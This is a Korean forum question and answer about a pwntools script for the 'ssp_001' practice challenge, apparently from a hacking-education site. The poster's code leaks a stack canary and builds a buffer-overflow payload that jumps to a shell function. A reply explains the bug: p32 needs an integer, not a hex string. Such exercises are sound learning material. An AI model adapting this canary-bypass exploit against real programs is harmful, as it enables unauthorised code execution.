ssp_001 payload 질문!
from pwn import *
p = process('./ssp_001')
index = ['131','130','129','128']
cnry = b"0x"
for i in list(index):
p.sendlineafter('> ','P')
p.sendlineafter('Element index : ',i)
string = p.recvuntil('is : ')
cnry += p.recvn(2)
print("canary : "+cnry)
cnryval = hex(int(cnry,16))
print(cnryval)
p32(cnryval) # 이게 안됨..
p.sendlineafter('> ','E')
p.sendlineafter('Name Size : ','300')
offset = 64
get_shell = p32(0x80486b9)
#payload = b'A'*offset + p32(cnryval) + b'bbbb' + get_shell
#p.sendlineafter('Name : ',payload)
#p.interactive()
for문을 통해 cnry에 카나리 값을 문자열로 저장하고 cnryval에 16진수 값으로 저장했습니다. p32(cnryval)에서 문제가 있어 위 사진처럼 뜹니다..
문제를 못 찾아서 이렇게 올려봅니다..
pwntools 초보라 가독성이 많이 떨어질 수 있습니다.
#pwnable
작성자 정보
답변
1
Hmin
강의 수강: 10
아마 저 위에서 hex()를 해주어 그런듯 합니다.
왜냐하면 p32()는 인자를 아마 integer 타입으로 줘야 할껍니다.
저 hex를 하지 말고 다시 해보세요
그리고 구지 hex안해도 int("~~", 16)하고 패킹해도 16진수로 패킹 됩니다.